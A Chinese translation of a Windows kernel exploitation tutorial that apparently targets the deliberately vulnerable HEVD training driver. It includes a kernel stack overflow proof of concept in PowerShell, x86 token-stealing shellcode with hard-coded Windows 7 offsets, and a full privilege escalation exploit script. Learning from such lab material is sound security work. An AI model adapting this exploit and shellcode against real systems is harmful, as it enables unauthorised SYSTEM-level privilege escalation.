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[翻译]windows exploit开发系列教程第十部分:内核利用程序之栈溢出
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2018-1-6 20:20 8602
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Windows exploit开发系列教程第十部分:内核利用程序之栈溢出
译者注:netfairy曾经在论坛上翻译过该系列的前八部分,时隔三年,原作者fuzzySecurity后来于16年底又更新了10篇内核漏洞利用相关的内容。本文翻译了第十部分,译毕始觉漏掉了第九部分,以后有时间的时候补上。
点击查看原文
本文同步于我的博客
欢迎来到本系列的第十幕,自上次一别已是三年匆匆。我们这次将来一场ring0之旅,一步一步迎接新的挑战!这一幕我们将看看Windows 7(没有SMEP&SMAP)上一个普通的内核栈溢出。我们的目标虽然是32位的但这一并不意味着可以变得简单,除却一些次要的变化,在64位机上该exploit也同样生效。
我们的目标驱动是一个非常出色的项目,它由@HackSysTeam完成,他们创建了一个demo驱动,该驱动内置了一些漏洞用于实践内核漏洞的利用,棒极了!让我们开始吧。
- HackSysExtremeVulnerableDriver(hacksysteam)
- Kernel Data Structures(CodeMachine)
- x64 Kernel Privilege Escalation(McDermott)
- Abusing GDI for ring0 exploit primitives(Core Security)
- VirtualKD
- Kernel debugging with IDA Pro, Windbg plugin and VirtualKd(hexblog)
- OSR Driver Loader
译者注:以上包含的文章如果未译,我日后会翻译。这几篇此前看过,都是很经典的干货。
环境部署
作为第一步我想先简单的叙述调试环境的设置,这通常很痛苦。特别的,安装的目标使用Windows(这我知道,来吧!)。
首先通过上面的链接获取VirtualKD,解压然后安装target中的vminstall组件到待调试的VM。
完成后在宿主机(x86/x64)启动vmmon并重启VM。你可以看到类似这样的东西:
配置"Debugger path..",让它指向你宿主机的WinDBG;VM重启时选择VirtualKD的boot选项,此时你可以看到它会自动attach到机器上。很简单&并不痛苦!
还差加载漏洞驱动程序。通过前面的链接获取OSR Driver Loader工具(你可能需要注册->任意邮箱)。打开OSR Loader工具,注册服务(你可能需要重启),完成以后,单击浏览,选择漏洞驱动程序并点击启动服务。如果一切顺利的话,你将会看到这样的画面:
如果你通过WinDBG连接到机器,使用"lm"命令就可以看到该驱动程序被成功加载:
也可以看看挂起IDA Pro到VirtualKD的向导。如果你没有IDA Pro,我建议你下载免费的版本,仅仅需要它的graph view。你可以手动重定向驱动基址(rebase)来保证和WinDBG中看到的一致(Edit->Segments->Rebase program)。这样一来,你可以可视化的看到当前正发生什么,哪些地址需要下断,在WinDBG中加以利用。
侦查挑战
好,就如前面提到的,我们在本文将进行栈溢出挑战。HackSysTeam提供给了我们驱动的源代码,我们也可以看看相关的部分!
NTSTATUS TriggerStackOverflow(IN PVOID UserBuffer, IN SIZE_T Size) { NTSTATUS Status = STATUS_SUCCESS; ULONG KernelBuffer[BUFFER_SIZE] = {0}; PAGED_CODE(); __try { // Verify if the buffer resides in user mode ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(KernelBuffer)); DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer); DbgPrint("[+] UserBuffer Size: 0x%X\n", Size); DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer); DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer)); #ifdef SECURE // Secure Note: This is secure because the developer is passing a size // equal to size of KernelBuffer to RtlCopyMemory()/memcpy(). Hence, // there will be no overflow RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer)); #else DbgPrint("[+] Triggering Stack Overflow\n"); // Vulnerability Note: This is a vanilla Stack based Overflow vulnerability // because the developer is passing the user supplied size directly to // RtlCopyMemory()/memcpy() without validating if the size is greater or // equal to the size of KernelBuffer RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size); #endif } __except (EXCEPTION_EXECUTE_HANDLER) { Status = GetExceptionCode(); DbgPrint("[-] Exception Code: 0x%X\n", Status); } return Status; }
这里展示了含有漏洞的代码,同时也给出了解决的方案。RtlCopyMemory
使用一个指向kernel buffer的指针,一个input buffer的指针以及一个指定拷贝字节数的整型数。显然这里有点故事,在有漏洞的版本中,buffer尺寸是基于input buffer的尺寸,而安全版本中尺寸被严格限制到了kernel buffer的大小。如果我们调用到该函数,传递一个尺寸大于kernel buffer的input buffer,就会发现一些端倪。
好,让我们看看IDA中的IrpDeviceIoCtlHandler
表,这里驱动程序比较了输入的IOCTL码,找到识别它的例程。
有相当数量的IOCTL!转到图形的左侧可以看到下面的内容:
可以看到如果IOCTL码是0x222003,我们就会转入到TriggerStackOverflow函数的调用分支。花些时间来调查一下这一switch语句。最基本的,输入IOCTL通过比较大小来进行匹配,一路递减直到找到一个合法的码值或干脆命中最后的"Invalid IOCTL..."。
看看TriggerStackOverflow
函数,我们或多或少可以看到在源码中发现的内容,注意到kernel buffer长度为0x800(2048)。
Pwn! Pwn! Pwn!
我们已掌握了所有线索,下面就尝试去调用该漏洞方法,传递给它一些数据。这是我在PowerShell中编织的模板代码:
Add-Type -TypeDefinition @" using System; using System.Diagnostics; using System.Runtime.InteropServices; using System.Security.Principal; public static class EVD { [DllImport("kernel32.dll", SetLastError = true)] public static extern IntPtr VirtualAlloc( IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect); [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] public static extern IntPtr CreateFile( String lpFileName, UInt32 dwDesiredAccess, UInt32 dwShareMode, IntPtr lpSecurityAttributes, UInt32 dwCreationDisposition, UInt32 dwFlagsAndAttributes, IntPtr hTemplateFile); [DllImport("Kernel32.dll", SetLastError = true)] public static extern bool DeviceIoControl( IntPtr hDevice, int IoControlCode, byte[] InBuffer, int nInBufferSize, byte[] OutBuffer, int nOutBufferSize, ref int pBytesReturned, IntPtr Overlapped); [DllImport("kernel32.dll")] public static extern uint GetLastError(); } "@ $hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero) if ($hDevice -eq -1) { echo "`n[!] Unable to get driver handle..`n" Return } else { echo "`n[>] Driver information.." echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver" echo "[+] Handle: $hDevice" } $Buffer = [Byte[]](0x41)*0x100 echo "`n[>] Sending buffer.." echo "[+] Buffer length: $($Buffer.Length)" echo "[+] IOCTL: 0x222003`n" [EVD]::DeviceIoControl($hDevice, 0x222003, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero)|Out-null
非常棒,从调试器的输出中可以看到我们调用到了目标函数。显然我们没有发送足够多的数据来触发溢出。让我们试试发送一个0x900(2304)大小的buffer。
好吧,VM蓝屏了,经过一些辅助的运算我们可以找出到EIP精准的偏移(EBP也一样)。我把这留给读者作为练习(别忘了pattern_create)。让我们修改POC代码,再次出发溢出。
Add-Type -TypeDefinition @" using System; using System.Diagnostics; using System.Runtime.InteropServices; using System.Security.Principal; public static class EVD { [DllImport("kernel32.dll", SetLastError = true)] public static extern IntPtr VirtualAlloc( IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect); [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] public static extern IntPtr CreateFile( String lpFileName, UInt32 dwDesiredAccess, UInt32 dwShareMode, IntPtr lpSecurityAttributes, UInt32 dwCreationDisposition, UInt32 dwFlagsAndAttributes, IntPtr hTemplateFile); [DllImport("Kernel32.dll", SetLastError = true)] public static extern bool DeviceIoControl( IntPtr hDevice, int IoControlCode, byte[] InBuffer, int nInBufferSize, byte[] OutBuffer, int nOutBufferSize, ref int pBytesReturned, IntPtr Overlapped); [DllImport("kernel32.dll")] public static extern uint GetLastError(); } "@ $hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero) if ($hDevice -eq -1) { echo "`n[!] Unable to get driver handle..`n" Return } else { echo "`n[>] Driver information.." echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver" echo "[+] Handle: $hDevice" } #---[EIP control] # 0x41 = 0x800 (buffer allocated by the driver) # 0x42 = 28 (filler) # 0x43 = 4 (EBP) # 0x44 = 4 (EIP) #--- $Buffer = [Byte[]](0x41)*0x800 + [Byte[]](0x42)*28 + [Byte[]](0x43)*4 + [Byte[]](0x44)*4 echo "`n[>] Sending buffer.." echo "[+] Buffer length: $($Buffer.Length)" echo "[+] IOCTL: 0x222003`n" [EVD]::DeviceIoControl($hDevice, 0x222003, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero)|Out-null
我们的代码在内核空间执行了,但是我们并不能为所欲为的执行任意shellcode。有非常多的内容值得我们尝试(例如,写一个ring3层shellcode stager),但我觉着目前最好还是做一个简单的提权攻击。
在Windows中所有的对象都有安全描述符,它们定义了在对象上谁可以执行哪些行为。有很多种tokens用于描述这些访问权限,但是"NT AUTHORITY\SYSTEM" token拥有最高权限。也就是说它可以在系统上的任何对象上执行任意行为(实际上,这非常复杂)。在最基础的层面,我们想让我们的shellcode可以做到:(1)找到当前进程的token(powershell),(2)循环遍历进程列表直到找到一个系统进程(System Process)(PID 为4,这是个静态的系统进程PID),(3)找到该进程的token,(4)用其值覆盖当前进程的token。
编写该shellcode有一点点长,你需要去查找一些静态的偏移量,我不会在这里详述。简单来说,可以查阅"x64 Kernel Privilege Escalation"一文,此外HackSysTeam驱动中也内置了一些payload示例。可以在下面看到通用的shellcode结构。
#---[Setup] pushad ; Save register state mov eax, fs:[KTHREAD_OFFSET] ; nt!_KPCR.PcrbData.CurrentThread mov eax, [eax + EPROCESS_OFFSET] ; nt!_KTHREAD.ApcState.Process mov ecx, eax mov ebx, [eax + TOKEN_OFFSET] ; nt!_EPROCESS.Token #---[Copy System PID token] mov edx, 4 ; PID 4 -> System mov eax, [eax + FLINK_OFFSET] <-| ; nt!_EPROCESS.ActiveProcessLinks.Flink sub eax, FLINK_OFFSET | cmp [eax + PID_OFFSET], edx | ; nt!_EPROCESS.UniqueProcessId jnz ->| ; Loop !(PID=4) mov edx, [eax + TOKEN_OFFSET] ; System nt!_EPROCESS.Token mov [ecx + TOKEN_OFFSET], edx ; Replace PowerShell token #---[Recover] popad ; Restore register state
这一解决方案是可用的但唯独缺少了一个东西。当我们触发溢出并执行shellcode后我们会搞乱堆栈。我们希望shellcode可以补偿这一遗失以保证在复制了系统进程的token后,VM不会蓝屏。
对crash的调查揭示了我们实际上在退出TriggerStackOverflow
函数时只是通过覆盖返回地址来获取EIP的控制。
让我们在该地址下个断点,给驱动发送一个小的buffer使得我们可以看到在正常执行时发生了些什么。
****** HACKSYS_EVD_STACKOVERFLOW ****** [+] UserBuffer: 0x01F454A8 [+] UserBuffer Size: 0x100 [+] KernelBuffer: 0x93E933B4 [+] KernelBuffer Size: 0x800 [+] Triggering Stack Overflow Breakpoint 0 hit HackSysExtremeVulnerableDriver+0x45ce: 936045ce c20800 ret 8 <-------[Stack] 93e93bd4 936045f4 HackSysExtremeVulnerableDriver+0x45f4 93e93bd8 01f454a8 93e93bdc 00000100 93e93be0 93e93bfc 93e93be4 9360503d HackSysExtremeVulnerableDriver+0x503d HackSysExtremeVulnerableDriver+0x45f4: 936045f4 5d pop ebp <-------[Stack] 93e93be0 93e93bfc 93e93be4 9360503d HackSysExtremeVulnerableDriver+0x503d 93e93be8 856cc268 HackSysExtremeVulnerableDriver+0x45f5: 936045f5 c20800 ret 8 <-------[Stack] 93e93be4 9360503d HackSysExtremeVulnerableDriver+0x503d 93e93be8 856cc268 93e93bec 856cc2d8 93e93bf0 84be4a80 ****** HACKSYS_EVD_STACKOVERFLOW ****** [+] UserBuffer: 0x01DE8608 [+] UserBuffer Size: 0x824 [+] KernelBuffer: 0x93B4B3B4 [+] KernelBuffer Size: 0x800 [+] Triggering Stack Overflow Breakpoint 0 hit HackSysExtremeVulnerableDriver+0x45ce: 936045ce c20800 ret 8 <-------[Stack] 93b4bbd4 44444444 93b4bbd8 01de8608 93b4bbdc 00000824 93b4bbe0 93b4bbfc 93b4bbe4 9360503d HackSysExtremeVulnerableDriver+0x503d
让我们看看栈长什么样。
很幸运,当我们做宝贵的覆盖时,这并不算太坏。当我们的shellcode执行后我们需要简单的模拟"pop ebp"和"ret 8",这一执行流会重定向回HackSysExtremeVulnerableDriver+0x503d这一正确的地址。尽管它不是那么显而易见,我们也想清掉EAX,就好像该驱动函数返回了NTSTATUS->STATUS_SUCCESS(0x00000000)。
这可以达成欺骗效果!最终的shellcode如下:
$Shellcode = [Byte[]] @( #---[Setup] 0x60, # pushad 0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET] 0x8B, 0x40, 0x50, # mov eax, [eax + EPROCESS_OFFSET] 0x89, 0xC1, # mov ecx, eax (Current _EPROCESS structure) 0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET] #---[Copy System PID token] 0xBA, 0x04, 0x00, 0x00, 0x00, # mov edx, 4 (SYSTEM PID) 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-| 0x2D, 0xB8, 0x00, 0x00, 0x00, # sub eax, FLINK_OFFSET | 0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx | 0x75, 0xED, # jnz ->| 0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET] 0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx #---[Recover] 0x61, # popad 0x31, 0xC0, # NTSTATUS -> STATUS_SUCCESS :p 0x5D, # pop ebp 0xC2, 0x08, 0x00 # ret 8 )
我写出汇编代码并使用Keystone引擎来编译。
大功告成
万事俱备,剩下的就是在内存中的某处分配我们的shellcode,用它的地址覆盖EIP。记着该shellcode内存应该被标记为R/W/E。完整的exploit如下:
Add-Type -TypeDefinition @" using System; using System.Diagnostics; using System.Runtime.InteropServices; using System.Security.Principal; public static class EVD { [DllImport("kernel32.dll", SetLastError = true)] public static extern IntPtr VirtualAlloc( IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect); [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] public static extern IntPtr CreateFile( String lpFileName, UInt32 dwDesiredAccess, UInt32 dwShareMode, IntPtr lpSecurityAttributes, UInt32 dwCreationDisposition, UInt32 dwFlagsAndAttributes, IntPtr hTemplateFile); [DllImport("Kernel32.dll", SetLastError = true)] public static extern bool DeviceIoControl( IntPtr hDevice, int IoControlCode, byte[] InBuffer, int nInBufferSize, byte[] OutBuffer, int nOutBufferSize, ref int pBytesReturned, IntPtr Overlapped); [DllImport("kernel32.dll")] public static extern uint GetLastError(); } "@ # Compiled with Keystone-Engine # Hardcoded offsets for Win7 x86 SP1 $Shellcode = [Byte[]] @( #---[Setup] 0x60, # pushad 0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET] 0x8B, 0x40, 0x50, # mov eax, [eax + EPROCESS_OFFSET] 0x89, 0xC1, # mov ecx, eax (Current _EPROCESS structure) 0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET] #---[Copy System PID token] 0xBA, 0x04, 0x00, 0x00, 0x00, # mov edx, 4 (SYSTEM PID) 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-| 0x2D, 0xB8, 0x00, 0x00, 0x00, # sub eax, FLINK_OFFSET | 0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx | 0x75, 0xED, # jnz ->| 0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET] 0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx #---[Recover] 0x61, # popad 0x31, 0xC0, # NTSTATUS -> STATUS_SUCCESS :p 0x5D, # pop ebp 0xC2, 0x08, 0x00 # ret 8 ) # Write shellcode to memory echo "`n[>] Allocating ring0 payload.." [IntPtr]$Pointer = [EVD]::VirtualAlloc([System.IntPtr]::Zero, $Shellcode.Length, 0x3000, 0x40) [System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $Pointer, $Shellcode.Length) $EIP = [System.BitConverter]::GetBytes($Pointer.ToInt32()) echo "[+] Payload size: $($Shellcode.Length)" echo "[+] Payload address: $("{0:X8}" -f $Pointer.ToInt32())" # Get handle to driver $hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero) if ($hDevice -eq -1) { echo "`n[!] Unable to get driver handle..`n" Return } else { echo "`n[>] Driver information.." echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver" echo "[+] Handle: $hDevice" } # HACKSYS_EVD_STACKOVERFLOW IOCTL = 0x222003 #--- $Buffer = [Byte[]](0x41)*0x800 + [Byte[]](0x42)*32 + $EIP echo "`n[>] Sending buffer.." echo "[+] Buffer length: $($Buffer.Length)" echo "[+] IOCTL: 0x222003`n" [EVD]::DeviceIoControl($hDevice, 0x222003, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero)|Out-null
译者注:我在本地测试时,WinDbg的输出和作者的不太一样,我是用
!analyze -v
来查看崩溃现场,输出的信息有点冗余,没有原作者的输出信息清爽,所以windbg部分的信息与截图保留了原作者的版本。HEVD是我个人强烈推荐的入门Windows内核漏洞的靶场,实际上内核漏洞并不难掌握,无非就是以下两点:
- 调试起来没有用户态那么方便,双机联调+频繁BSOD确实很消磨耐性
- 如果不熟悉WRK,则容易被内核错综复杂的数据结构绕晕,一时云里雾里
HEVD从一个简单的内核驱动程序入手,展示了各种常见的漏洞,让新手可以绕开复杂的Windows内核,掌握内核漏洞的利用。
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